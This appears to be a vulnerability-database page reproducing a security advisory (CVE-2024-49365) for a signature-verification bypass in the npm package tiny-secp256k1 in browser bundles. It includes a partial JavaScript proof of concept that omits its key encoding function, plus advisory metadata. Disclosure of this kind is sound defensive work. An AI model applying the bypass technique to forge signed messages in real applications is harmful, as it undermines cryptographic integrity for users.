GHSA-5VHG-9XG4-CV9M

Vulnerability from github – Published: 2025-06-30 17:44 – Updated: 2025-07-01 13:13
VLAI
Summary
tiny-secp256k1 allows for verify() bypass when running in bundled environment
Details

Summary

A malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is buffer package

Details

This affects only environments where require('buffer') is https://npmjs.com/buffer E.g.: browser bundles, React Native apps, etc.

Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as message, and those messages could trick verify() into returning false-positive true values

v2.x is unaffected as it verifies input to be an actual Uint8Array instance

Such a message can be constructed for any already known message/signature pair There are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example

https://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this

PoC

This code deliberately doesn't provide reencode for now, could be updated later

import { randomBytes } from 'crypto'
import tiny from 'tiny-secp256k1' // 1.1.6

// Random keypair
const privateKey = randomBytes(32)
const publicKey = tiny.pointFromScalar(privateKey)

const valid = Buffer.alloc(32).fill(255) // let's sign a static buffer
const signature = tiny.sign(valid, privateKey)

// Prevent processing any unverified data by fail-closed throwing
function verified(data, signature) {
  if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex')
  if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!')
  return new Uint8Array(data)
}

function safeProcess(payload) {
  const totally = JSON.parse(payload) // e.g. json over network

  const message = verified(totally, signature)
  console.log(message instanceof Uint8Array)
  console.log(Buffer.from(message).toString('utf8'))  
}

const payload = reencode(valid, "Secure contain protect")
safeProcess(payload)

Output (after being bundled):

true
Secure contain protect����

Impact

Malicious messages could crafted to be verified from a given known valid message/signature pair

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tiny-secp256k1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-49365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-30T17:44:14Z",
    "nvd_published_at": "2025-07-01T03:15:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA malicious JSON-stringifyable message can be made passing on `verify()`, when global Buffer is [`buffer` package](https://www.npmjs.com/package/buffer)\n\n### Details\n\nThis affects only environments where `require(\u0027buffer\u0027)` is \u003chttps://npmjs.com/buffer\u003e\nE.g.: browser bundles, React Native apps, etc.\n\n`Buffer.isBuffer` check can be bypassed, resulting in strange objects being accepted as `message`, and those messages could trick `verify()` into returning false-positive `true` values\n\nv2.x is unaffected as it verifies input to be an actual `Uint8Array` instance\n\nSuch a message can be constructed for any already known message/signature pair\nThere are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example\n\nhttps://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this\n\n### PoC\n\nThis code deliberately doesn\u0027t provide `reencode` for now, could be updated later\n\n```js\nimport { randomBytes } from \u0027crypto\u0027\nimport tiny from \u0027tiny-secp256k1\u0027 // 1.1.6\n\n// Random keypair\nconst privateKey = randomBytes(32)\nconst publicKey = tiny.pointFromScalar(privateKey)\n\nconst valid = Buffer.alloc(32).fill(255) // let\u0027s sign a static buffer\nconst signature = tiny.sign(valid, privateKey)\n\n// Prevent processing any unverified data by fail-closed throwing\nfunction verified(data, signature) {\n  if (!Buffer.isBuffer(data)) data = Buffer.from(data, \u0027hex\u0027)\n  if (!tiny.verify(data, publicKey, signature)) throw new Error(\u0027Signature invalid!\u0027)\n  return new Uint8Array(data)\n}\n\nfunction safeProcess(payload) {\n  const totally = JSON.parse(payload) // e.g. json over network\n\n  const message = verified(totally, signature)\n  console.log(message instanceof Uint8Array)\n  console.log(Buffer.from(message).toString(\u0027utf8\u0027))  \n}\n\nconst payload = reencode(valid, \"Secure contain protect\")\nsafeProcess(payload)\n```\n\nOutput (after being bundled):\n```console\ntrue\nSecure contain protect\ufffd\ufffd\ufffd\ufffd\n```\n\n### Impact\n\nMalicious messages could crafted to be verified from a given known valid message/signature pair",
  "id": "GHSA-5vhg-9xg4-cv9m",
  "modified": "2025-07-01T13:13:38Z",
  "published": "2025-06-30T17:44:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bitcoinjs/tiny-secp256k1/security/advisories/GHSA-5vhg-9xg4-cv9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bitcoinjs/tiny-secp256k1/pull/140"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bitcoinjs/tiny-secp256k1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tiny-secp256k1 allows for verify() bypass when running in bundled environment"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…